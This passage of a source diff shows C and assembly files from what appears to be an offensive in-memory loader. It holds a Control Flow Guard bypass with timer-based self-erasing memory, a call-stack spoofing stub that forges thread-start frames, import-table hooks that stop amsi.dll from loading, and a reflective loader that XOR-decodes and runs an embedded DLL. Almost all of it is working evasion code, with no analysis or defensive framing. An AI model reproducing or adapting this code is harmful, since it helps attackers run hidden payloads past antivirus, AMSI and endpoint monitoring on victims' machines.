|
||||
} VM_INFORMATION;
|
||||
|
||||
typedef enum {
|
||||
VmPrefetchInformation,
|
||||
VmPagePriorityInformation,
|
||||
VmCfgCallTargetInformation
|
||||
} VIRTUAL_MEMORY_INFORMATION_CLASS;
|
||||
|
||||
typedef struct {
|
||||
PVOID VirtualAddress;
|
||||
SIZE_T NumberOfBytes;
|
||||
} MEMORY_RANGE_ENTRY;
|
||||
|
||||
typedef enum {
|
||||
MemoryBasicInformation
|
||||
} MEMORY_INFORMATION_CLASS;
|
||||
|
||||
BOOL cfg_enabled ( );
|
||||
BOOL bypass_cfg ( PVOID address );
|
||||
@@ -0,0 +1,95 @@
|
||||
#include <windows.h>
|
||||
#include "memory.h"
|
||||
#include "cfg.h"
|
||||
#include "spoof.h"
|
||||
#include "tcg.h"
|
||||
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateTimerQueue ( );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateTimerQueueTimer ( PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG );
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap ( );
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc ( HANDLE, DWORD, SIZE_T );
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT );
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
|
||||
|
||||
DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN );
|
||||
|
||||
#define memcpy(x, y, z) __movsb ( ( unsigned char * ) x, ( unsigned char * ) y, z );
|
||||
|
||||
#define NTDLL_HASH 0x3CFA685D
|
||||
#define VIRTUALFREE_HASH 0x30633AC
|
||||
|
||||
void cleanup_memory ( MEMORY_LAYOUT * memory )
|
||||
{
|
||||
/* is cfg enabled? */
|
||||
BOOL enabled = cfg_enabled ( );
|
||||
|
||||
if ( enabled ) {
|
||||
/* try to bypass it at NtContinue */
|
||||
if ( bypass_cfg ( NTDLL$NtContinue ) ) {
|
||||
enabled = FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* just return if we
|
||||
* failed to bypass it
|
||||
*/
|
||||
|
||||
if ( enabled ) {
|
||||
return;
|
||||
}
|
||||
|
||||
/*
|
||||
* crack on and setup a timer
|
||||
* to free the memory regions
|
||||
*/
|
||||
|
||||
CONTEXT ctx = { 0 };
|
||||
ctx.ContextFlags = CONTEXT_ALL;
|
||||
|
||||
HANDLE timer_queue = KERNEL32$CreateTimerQueue ( ), timer = NULL;
|
||||
|
||||
if ( KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( KERNEL32$RtlCaptureContext ), &ctx, 0, 0, WT_EXECUTEINTIMERTHREAD ) )
|
||||
{
|
||||
/* give RtlCaptureContext a chance to run */
|
||||
KERNEL32$Sleep ( 100 );
|
||||
|
||||
if ( ctx.Rip != 0 )
|
||||
{
|
||||
HANDLE heap = KERNEL32$GetProcessHeap ( );
|
||||
CONTEXT * ctx_free = ( CONTEXT * ) KERNEL32$HeapAlloc ( heap, HEAP_ZERO_MEMORY, sizeof ( CONTEXT ) * 2 );
|
||||
|
||||
for ( int i = 0; i < 2; i++ ) {
|
||||
memcpy ( &ctx_free [ i ], &ctx, sizeof ( CONTEXT ) );
|
||||
}
|
||||
|
||||
/*
|
||||
* we use VirtualFree here because
|
||||
* the loader uses VirtualAlloc
|
||||
*/
|
||||
|
||||
/* the dll */
|
||||
ctx_free[ 0 ].Rsp -= sizeof ( PVOID );
|
||||
ctx_free[ 0 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree );
|
||||
ctx_free[ 0 ].Rcx = ( DWORD64 ) ( memory->Dll.BaseAddress );
|
||||
ctx_free[ 0 ].Rdx = ( DWORD64 ) ( 0 );
|
||||
ctx_free[ 0 ].R8 = ( DWORD64 ) ( MEM_RELEASE );
|
||||
|
||||
/* this pico */
|
||||
ctx_free[ 1 ].Rsp -= sizeof ( PVOID );
|
||||
ctx_free[ 1 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree );
|
||||
ctx_free[ 1 ].Rcx = ( DWORD64 ) ( memory->Pico.BaseAddress );
|
||||
ctx_free[ 1 ].Rdx = ( DWORD64 ) ( 0 );
|
||||
ctx_free[ 1 ].R8 = ( DWORD64 ) ( MEM_RELEASE );
|
||||
|
||||
dprintf("dll @ 0x%p\n", memory->Dll.BaseAddress);
|
||||
dprintf("pico @ 0x%p\n", memory->Pico.BaseAddress);
|
||||
|
||||
/* give a decent delay so ExitThread has time to be called */
|
||||
KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 0 ], 500, 0, WT_EXECUTEINTIMERTHREAD );
|
||||
KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 1 ], 500, 0, WT_EXECUTEINTIMERTHREAD );
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
void cleanup_memory ( MEMORY_LAYOUT * memory );
|
||||
@@ -0,0 +1,147 @@
|
||||
[BITS 64]
|
||||
|
||||
draugr_stub:
|
||||
pop rax ; Real return address in rax
|
||||
|
||||
mov r10, rdi ; Store OG rdi in r10
|
||||
mov r11, rsi ; Store OG rsi in r11
|
||||
|
||||
mov rdi, [ rsp + 32 ] ; Storing struct in rdi
|
||||
mov rsi, [ rsp + 40 ] ; Storing function to call
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Storing our original registers
|
||||
; ---------------------------------------------------------------------
|
||||
|
||||
mov [ rdi + 24 ], r10 ; Storing OG rdi into param
|
||||
mov [ rdi + 88 ], r11 ; Storing OG rsi into param
|
||||
mov [ rdi + 96 ], r12 ; Storing OG r12 into param
|
||||
mov [ rdi + 104 ], r13 ; Storing OG r13 into param
|
||||
mov [ rdi + 112 ], r14 ; Storing OG r14 into param
|
||||
mov [ rdi + 120 ], r15 ; Storing OG r15 into param
|
||||
|
||||
mov r12, rax ; OG code used r12 for ret addr
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Prepping to move stack args
|
||||
; ---------------------------------------------------------------------
|
||||
|
||||
xor r11, r11 ; r11 will hold the # of args that have been "pushed"
|
||||
mov r13, [ rsp + 0x30 ] ; r13 will hold the # of args total that will be pushed
|
||||
|
||||
mov r14, 0x200 ; r14 will hold the offset we need to push stuff
|
||||
add r14, 8
|
||||
add r14, [ rdi + 56 ] ; stack size of RUTS
|
||||
add r14, [ rdi + 48 ] ; stack size of BTIT
|
||||
add r14, [ rdi + 32 ] ; stack size of our gadget frame
|
||||
sub r14, 0x20 ; first stack arg is located at +0x28 from rsp, so we sub 0x20 from the offset. Loop will sub 0x8 each time
|
||||
|
||||
mov r10, rsp
|
||||
add r10, 0x30 ; offset of stack arg added to rsp
|
||||
|
||||
looping:
|
||||
xor r15, r15 ; r15 will hold the offset + rsp base
|
||||
cmp r11d, r13d ; comparing # of stack args added vs # of stack args we need to add
|
||||
je finish
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Getting location to move the stack arg to
|
||||
; ---------------------------------------------------------------------
|
||||
|
||||
sub r14, 8 ; 1 arg means r11 is 0, r14 already 0x28 offset.
|
||||
mov r15, rsp ; get current stack base
|
||||
sub r15, r14 ; subtract offset
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Procuring the stack arg
|
||||
; ---------------------------------------------------------------------
|
||||
|
||||
add r10, 8
|
||||
|
||||
push qword [ r10 ]
|
||||
pop qword [ r15 ]
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Increment the counter and loop back in case we need more args
|
||||
; ---------------------------------------------------------------------
|
||||
add r11, 1
|
||||
jmp looping
|
||||
|
||||
finish:
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; Creating a big 320 byte working space
|
||||
; ----------------------------------------------------------------------
|
||||
|
||||
sub rsp, 0x200
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; Pushing a 0 to cut off the return addresses after RtlUserThreadStart.
|
||||
; Need to figure out why this cuts off the call stack
|
||||
; ----------------------------------------------------------------------
|
||||
|
||||
push 0
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; RtlUserThreadStart + 0x14 frame
|
||||
; ----------------------------------------------------------------------
|
||||
|
||||
sub rsp, [ rdi + 56 ]
|
||||
mov r11, [ rdi + 64 ]
|
||||
mov [ rsp ], r11
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; BaseThreadInitThunk + 0x21 frame
|
||||
; ----------------------------------------------------------------------
|
||||
|
||||
sub rsp, [ rdi + 32 ]
|
||||
mov r11, [ rdi + 40 ]
|
||||
mov [ rsp ], r11
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; Gadget frame
|
||||
; ----------------------------------------------------------------------
|
||||
|
||||
sub rsp, [ rdi + 48 ]
|
||||
mov r11, [ rdi + 80 ]
|
||||
mov [ rsp ], r11
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; Adjusting the param struct for the fixup
|
||||
; ----------------------------------------------------------------------
|
||||
|
||||
mov r11, rsi ; Copying function to call into r11
|
||||
|
||||
mov [ rdi + 8 ], r12 ; Real return address is now moved into the "OG_retaddr" member
|
||||
mov [ rdi + 16 ], rbx ; original rbx is stored into "rbx" member
|
||||
lea rbx, [ rel fixup ] ; Fixup address is moved into rbx
|
||||
mov [ rdi ], rbx ; Fixup member now holds the address of Fixup
|
||||
mov rbx, rdi ; Address of param struct (Fixup) is moved into rbx
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; Syscall stuff. Shouldn't affect performance even if a syscall isnt made
|
||||
; ----------------------------------------------------------------------
|
||||
mov r10, rcx
|
||||
mov rax, [ rdi + 72 ]
|
||||
|
||||
jmp r11
|
||||
|
||||
fixup:
|
||||
mov rcx, rbx
|
||||
add rsp, 0x200 ; Big frame thing
|
||||
add rsp, [ rbx + 48 ] ; Stack size
|
||||
add rsp, [ rbx + 32 ] ; Stack size
|
||||
add rsp, [ rbx + 56 ] ; Stack size
|
||||
|
||||
mov rbx, [ rcx + 16 ] ; Restoring OG RBX
|
||||
mov rdi, [ rcx + 24 ] ; ReStoring OG rdi
|
||||
mov rsi, [ rcx + 88 ] ; ReStoring OG rsi
|
||||
mov r12, [ rcx + 96 ] ; ReStoring OG r12
|
||||
mov r13, [ rcx + 104 ] ; ReStoring OG r13
|
||||
mov r14, [ rcx + 112 ] ; ReStoring OG r14
|
||||
mov r15, [ rcx + 120 ] ; ReStoring OG r15
|
||||
push rax
|
||||
|
||||
xor rax, rax
|
||||
pop rax
|
||||
jmp QWORD [ rcx + 8 ]
|
||||
@@ -0,0 +1 @@
|
||||
#define LOADLIBRARYEXW_HASH 0x753A512
|
||||
@@ -0,0 +1,210 @@
|
||||
#include <windows.h>
|
||||
#include <wininet.h>
|
||||
#include <combaseapi.h>
|
||||
#include "tcg.h"
|
||||
#include "spoof.h"
|
||||
#include "hash.h"
|
||||
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
|
||||
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryW ( LPCWSTR );
|
||||
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryExW ( LPCWSTR, HANDLE, DWORD );
|
||||
DECLSPEC_IMPORT int WINAPI MSVCRT$_wcsicmp ( const wchar_t *, const wchar_t * );
|
||||
DECLSPEC_IMPORT wchar_t * WINAPI MSVCRT$wcsrchr ( const wchar_t *, wchar_t );
|
||||
|
||||
HMODULE WINAPI _LoadLibraryA ( LPCSTR lpLibFileName )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( LoadLibraryA );
|
||||
call.argc = 1;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpLibFileName );
|
||||
|
||||
return ( HMODULE ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HMODULE WINAPI _LoadLibraryExW ( LPCWSTR lpLibFileName, HANDLE hFile, DWORD dwFlags )
|
||||
{
|
||||
/* get the filename from path */
|
||||
LPCWSTR back = MSVCRT$wcsrchr ( lpLibFileName, L'\\' );
|
||||
LPCWSTR fwd = MSVCRT$wcsrchr ( lpLibFileName, L'/' );
|
||||
LPCWSTR name = back > fwd ? back : fwd;
|
||||
|
||||
if ( name ) {
|
||||
name++;
|
||||
}
|
||||
else {
|
||||
name = lpLibFileName;
|
||||
}
|
||||
|
||||
/* say no to amsi */
|
||||
if ( MSVCRT$_wcsicmp ( name, L"amsi.dll" ) == 0 ) {
|
||||
/* return without loading (─ ‿ ─) */
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* load the module */
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$LoadLibraryExW );
|
||||
call.argc = 3;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpLibFileName );
|
||||
call.args [ 1 ] = spoof_arg ( hFile );
|
||||
call.args [ 2 ] = spoof_arg ( dwFlags );
|
||||
|
||||
/* hold the result */
|
||||
HMODULE module = ( HMODULE ) spoof_call ( &call );
|
||||
|
||||
/* check to see if it's mscoreei.dll or clr.dll */
|
||||
if ( MSVCRT$_wcsicmp ( name, L"mscoreei.dll") == 0 || MSVCRT$_wcsicmp ( name, L"clr.dll") == 0 )
|
||||
{
|
||||
/* parse the module's headers */
|
||||
IMAGE_DOS_HEADER * dos_headers = ( IMAGE_DOS_HEADER * ) module;
|
||||
IMAGE_NT_HEADERS * nt_headers = ( IMAGE_NT_HEADERS * ) ( ( DWORD_PTR ) module + dos_headers->e_lfanew );
|
||||
|
||||
/* get the import directory */
|
||||
IMAGE_DATA_DIRECTORY imports_directory = nt_headers->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
|
||||
IMAGE_IMPORT_DESCRIPTOR * import_descriptor = ( IMAGE_IMPORT_DESCRIPTOR * ) ( imports_directory.VirtualAddress + ( DWORD_PTR ) module );
|
||||
|
||||
/* walk every imported module */
|
||||
while ( import_descriptor->Name != 0 )
|
||||
{
|
||||
IMAGE_THUNK_DATA * original_first_thunk = ( IMAGE_THUNK_DATA * ) ( ( DWORD_PTR ) module + import_descriptor->OriginalFirstThunk );
|
||||
IMAGE_THUNK_DATA * first_thunk = ( IMAGE_THUNK_DATA * ) ( ( DWORD_PTR ) module + import_descriptor->FirstThunk );
|
||||
|
||||
/* walk every imported function */
|
||||
while ( original_first_thunk->u1.AddressOfData != 0 )
|
||||
{
|
||||
IMAGE_IMPORT_BY_NAME * func_name = ( IMAGE_IMPORT_BY_NAME * ) ( ( DWORD_PTR ) module + original_first_thunk->u1.AddressOfData );
|
||||
DWORD func_hash = ror13hash ( ( char * ) ( func_name->Name ) );
|
||||
|
||||
/* is the imported function LoadLibraryExW? */
|
||||
if ( func_hash == LOADLIBRARYEXW_HASH )
|
||||
{
|
||||
/* yep, hook it */
|
||||
DWORD old_protect = 0;
|
||||
|
||||
if ( KERNEL32$VirtualProtect ( ( LPVOID ) ( &first_thunk->u1.Function ), sizeof ( PVOID ), PAGE_READWRITE, &old_protect ) )
|
||||
{
|
||||
first_thunk->u1.Function = ( DWORD_PTR ) ( _LoadLibraryExW );
|
||||
KERNEL32$VirtualProtect ( ( LPVOID ) ( &first_thunk->u1.Function ), sizeof ( PVOID ), old_protect, &old_protect);
|
||||
}
|
||||
}
|
||||
|
||||
++original_first_thunk;
|
||||
++first_thunk;
|
||||
}
|
||||
|
||||
import_descriptor++;
|
||||
}
|
||||
}
|
||||
|
||||
/* now return the module */
|
||||
return module;
|
||||
}
|
||||
|
||||
HMODULE WINAPI _LoadLibraryW ( LPCWSTR lpLibFileName )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$LoadLibraryW );
|
||||
call.argc = 1;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpLibFileName );
|
||||
|
||||
HMODULE module = ( HMODULE ) spoof_call ( &call );
|
||||
|
||||
/* was this mscoree.dll? */
|
||||
if ( MSVCRT$_wcsicmp ( lpLibFileName, L"mscoree.dll" ) == 0 )
|
||||
{
|
||||
/* parse the module's headers */
|
||||
IMAGE_DOS_HEADER * dos_header = ( IMAGE_DOS_HEADER * ) ( module );
|
||||
IMAGE_NT_HEADERS * nt_headers = ( IMAGE_NT_HEADERS * ) ( ( DWORD_PTR ) module + dos_header->e_lfanew );
|
||||
|
||||
/* get the import directory */
|
||||
IMAGE_DATA_DIRECTORY imports_directory = nt_headers->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
|
||||
IMAGE_IMPORT_DESCRIPTOR * import_descriptor = ( IMAGE_IMPORT_DESCRIPTOR * ) ( imports_directory.VirtualAddress + ( DWORD_PTR ) module );
|
||||
|
||||
/* walk every imported module */
|
||||
while ( import_descriptor->Name != 0 )
|
||||
{
|
||||
IMAGE_THUNK_DATA * original_first_thunk = ( IMAGE_THUNK_DATA * ) ( ( DWORD_PTR ) module + import_descriptor->OriginalFirstThunk );
|
||||
IMAGE_THUNK_DATA * first_thunk = ( IMAGE_THUNK_DATA * ) ( ( DWORD_PTR ) module + import_descriptor->FirstThunk );
|
||||
|
||||
/* walk every imported function */
|
||||
while ( original_first_thunk->u1.AddressOfData != 0 )
|
||||
{
|
||||
IMAGE_IMPORT_BY_NAME * func_name = ( IMAGE_IMPORT_BY_NAME * ) ( ( DWORD_PTR ) module + original_first_thunk->u1.AddressOfData );
|
||||
DWORD func_hash = ror13hash ( ( char * ) ( func_name->Name ) );
|
||||
|
||||
/* is the imported function LoadLibraryExW? */
|
||||
if ( func_hash == LOADLIBRARYEXW_HASH )
|
||||
{
|
||||
/* yep, hook it */
|
||||
DWORD old_protect = 0;
|
||||
|
||||
if ( KERNEL32$VirtualProtect ( ( LPVOID ) ( &first_thunk->u1.Function ), sizeof ( PVOID ), PAGE_READWRITE, &old_protect ) )
|
||||
{
|
||||
first_thunk->u1.Function = ( DWORD_PTR ) ( _LoadLibraryExW );
|
||||
KERNEL32$VirtualProtect ( ( LPVOID ) ( &first_thunk->u1.Function ), sizeof ( PVOID ), old_protect, &old_protect );
|
||||
}
|
||||
}
|
||||
|
||||
++original_first_thunk;
|
||||
++first_thunk;
|
||||
}
|
||||
|
||||
import_descriptor++;
|
||||
}
|
||||
}
|
||||
|
||||
/* now return the module */
|
||||
return module;
|
||||
}
|
||||
|
||||
LPVOID WINAPI _VirtualAlloc ( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$VirtualAlloc );
|
||||
call.argc = 4;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpAddress );
|
||||
call.args [ 1 ] = spoof_arg ( dwSize );
|
||||
call.args [ 2 ] = spoof_arg ( flAllocationType );
|
||||
call.args [ 3 ] = spoof_arg ( flProtect );
|
||||
|
||||
return ( LPVOID ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _VirtualFree ( LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$VirtualFree );
|
||||
call.argc = 3;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpAddress );
|
||||
call.args [ 1 ] = spoof_arg ( dwSize );
|
||||
call.args [ 2 ] = spoof_arg ( dwFreeType );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _VirtualProtect ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$VirtualProtect );
|
||||
call.argc = 4;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpAddress );
|
||||
call.args [ 1 ] = spoof_arg ( dwSize );
|
||||
call.args [ 2 ] = spoof_arg ( flNewProtect );
|
||||
call.args [ 3 ] = spoof_arg ( lpflOldProtect );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
@@ -0,0 +1,146 @@
|
||||
#include <windows.h>
|
||||
#include "loader.h"
|
||||
#include "tcg.h"
|
||||
#include "memory.h"
|
||||
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
|
||||
|
||||
char _PICO_ [ 0 ] __attribute__ ( ( section ( "pico" ) ) );
|
||||
char _MASK_ [ 0 ] __attribute__ ( ( section ( "mask" ) ) );
|
||||
char _DLL_ [ 0 ] __attribute__ ( ( section ( "dll" ) ) );
|
||||
|
||||
int __tag_setup_hooks ( );
|
||||
int __tag_setup_memory ( );
|
||||
|
||||
typedef void ( * SETUP_HOOKS ) ( IMPORTFUNCS * funcs );
|
||||
typedef void ( * SETUP_MEMORY ) ( MEMORY_LAYOUT * layout );
|
||||
|
||||
void fix_section_permissions ( DLLDATA * dll, char * src, char * dst, MEMORY_REGION * region )
|
||||
{
|
||||
DWORD section_count = dll->NtHeaders->FileHeader.NumberOfSections;
|
||||
IMAGE_SECTION_HEADER * section_hdr = NULL;
|
||||
void * section_dst = NULL;
|
||||
DWORD section_size = 0;
|
||||
DWORD new_protect = 0;
|
||||
DWORD old_protect = 0;
|
||||
|
||||
section_hdr = ( IMAGE_SECTION_HEADER * ) PTR_OFFSET ( dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader );
|
||||
|
||||
for ( int i = 0; i < section_count; i++ )
|
||||
{
|
||||
section_dst = dst + section_hdr->VirtualAddress;
|
||||
section_size = section_hdr->SizeOfRawData;
|
||||
|
||||
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) {
|
||||
new_protect = PAGE_WRITECOPY;
|
||||
}
|
||||
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) {
|
||||
new_protect = PAGE_READONLY;
|
||||
}
|
||||
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) {
|
||||
new_protect = PAGE_READWRITE;
|
||||
}
|
||||
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) {
|
||||
new_protect = PAGE_EXECUTE;
|
||||
}
|
||||
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) {
|
||||
new_protect = PAGE_EXECUTE_WRITECOPY;
|
||||
}
|
||||
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) {
|
||||
new_protect = PAGE_EXECUTE_READ;
|
||||
}
|
||||
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) ) {
|
||||
new_protect = PAGE_EXECUTE_READWRITE;
|
||||
}
|
||||
|
||||
/* set new permission */
|
||||
KERNEL32$VirtualProtect ( section_dst, section_size, new_protect, &old_protect );
|
||||
|
||||
/* track memory */
|
||||
region->Sections[ i ].BaseAddress = section_dst;
|
||||
region->Sections[ i ].Size = section_size;
|
||||
region->Sections[ i ].CurrentProtect = new_protect;
|
||||
region->Sections[ i ].PreviousProtect = new_protect;
|
||||
|
||||
/* advance to section */
|
||||
section_hdr++;
|
||||
}
|
||||
}
|
||||
|
||||
void go ( void * loader_arguments )
|
||||
{
|
||||
/* populate funcs */
|
||||
IMPORTFUNCS funcs;
|
||||
funcs.LoadLibraryA = LoadLibraryA;
|
||||
funcs.GetProcAddress = GetProcAddress;
|
||||
|
||||
/* load the pico */
|
||||
char * pico_src = GETRESOURCE ( _PICO_ );
|
||||
|
||||
/* allocate memory for it */
|
||||
PICO * pico_dst = ( PICO * ) KERNEL32$VirtualAlloc ( NULL, sizeof ( PICO ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
|
||||
|
||||
/* load it into memory */
|
||||
PicoLoad ( &funcs, pico_src, pico_dst->code, pico_dst->data );
|
||||
|
||||
/* make code section RX */
|
||||
DWORD old_protect;
|
||||
KERNEL32$VirtualProtect ( pico_dst->code, PicoCodeSize ( pico_src ), PAGE_EXECUTE_READ, &old_protect );
|
||||
|
||||
/* begin tracking memory allocations */
|
||||
MEMORY_LAYOUT memory = { 0 };
|
||||
|
||||
memory.Pico.BaseAddress = ( PVOID ) ( pico_dst );
|
||||
memory.Pico.Size = sizeof ( PICO );
|
||||
|
||||
memory.Pico.Sections[ 0 ].BaseAddress = ( PVOID ) ( pico_dst->data );
|
||||
memory.Pico.Sections[ 0 ].Size = PicoDataSize ( pico_src );
|
||||
memory.Pico.Sections[ 0 ].CurrentProtect = PAGE_READWRITE;
|
||||
memory.Pico.Sections[ 0 ].PreviousProtect = PAGE_READWRITE;
|
||||
memory.Pico.Sections[ 1 ].BaseAddress = ( PVOID ) ( pico_dst->code );
|
||||
memory.Pico.Sections[ 1 ].Size = PicoCodeSize ( pico_src );
|
||||
memory.Pico.Sections[ 1 ].CurrentProtect = PAGE_EXECUTE_READ;
|
||||
memory.Pico.Sections[ 1 ].PreviousProtect = PAGE_EXECUTE_READ;
|
||||
|
||||
/* call setup_hooks to overwrite funcs.GetProcAddress */
|
||||
( ( SETUP_HOOKS ) PicoGetExport ( pico_src, pico_dst->code, __tag_setup_hooks ( ) ) ) ( &funcs );
|
||||
|
||||
/* now load the dll (it's masked) */
|
||||
RESOURCE * masked_dll = ( RESOURCE * ) GETRESOURCE ( _DLL_ );
|
||||
RESOURCE * mask_key = ( RESOURCE * ) GETRESOURCE ( _MASK_ );
|
||||
|
||||
/* load dll into memory and unmask it */
|
||||
char * dll_src = KERNEL32$VirtualAlloc ( NULL, masked_dll->len, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
|
||||
|
||||
for ( int i = 0; i < masked_dll->len; i++ ) {
|
||||
dll_src [ i ] = masked_dll->value [ i ] ^ mask_key->value [ i % mask_key->len ];
|
||||
}
|
||||
|
||||
DLLDATA dll_data;
|
||||
ParseDLL ( dll_src, &dll_data );
|
||||
|
||||
char * dll_dst = KERNEL32$VirtualAlloc ( NULL, SizeOfDLL ( &dll_data ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
|
||||
|
||||
LoadDLL ( &dll_data, dll_src, dll_dst );
|
||||
|
||||
/* track dll's memory */
|
||||
memory.Dll.BaseAddress = ( PVOID ) ( dll_dst );
|
||||
memory.Dll.Size = SizeOfDLL ( &dll_data );
|
||||
|
||||
ProcessImports ( &funcs, &dll_data, dll_dst );
|
||||
fix_section_permissions ( &dll_data, dll_src, dll_dst, &memory.Dll );
|
||||
|
||||
/* call setup_memory to give PICO the memory info */
|
||||
( ( SETUP_MEMORY ) PicoGetExport ( pico_src, pico_dst->code, __tag_setup_memory ( ) ) ) ( &memory );
|
||||
|
||||
/* now run the DLL */
|
||||
DLLMAIN_FUNC entry_point = EntryPoint ( &dll_data, dll_dst );
|
||||
|
||||
/* free the unmasked copy */
|
||||
KERNEL32$VirtualFree ( dll_src, 0, MEM_RELEASE );
|
||||
|
||||
entry_point ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, NULL );
|
||||
entry_point ( ( HINSTANCE ) ( char * ) go, 0x4, loader_arguments );
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
#define GETRESOURCE(x) ( char * ) &x
|
||||
|
||||
typedef struct {
|
||||
char data [ 4096 ];
|
||||
char code [ 16384 ];
|
||||
} PICO;
|
||||
|
||||
typedef struct {
|
||||
int len;
|
||||
char value[];
|
||||
} RESOURCE;
|
||||
@@ -0,0 +1,17 @@
|
||||
typedef struct {
|
||||
PVOID BaseAddress;
|
||||
SIZE_T Size;
|
||||
DWORD CurrentProtect;
|
||||
DWORD PreviousProtect;
|
||||
} MEMORY_SECTION;
|
||||
|
||||
typedef struct {
|
||||
PVOID BaseAddress;
|
||||
SIZE_T Size;
|
||||
MEMORY_SECTION Sections [ 20 ];
|
||||
} MEMORY_REGION;
|
||||
|
||||
typedef struct {
|
||||
MEMORY_REGION Pico;
|
||||
MEMORY_REGION Dll;
|
||||
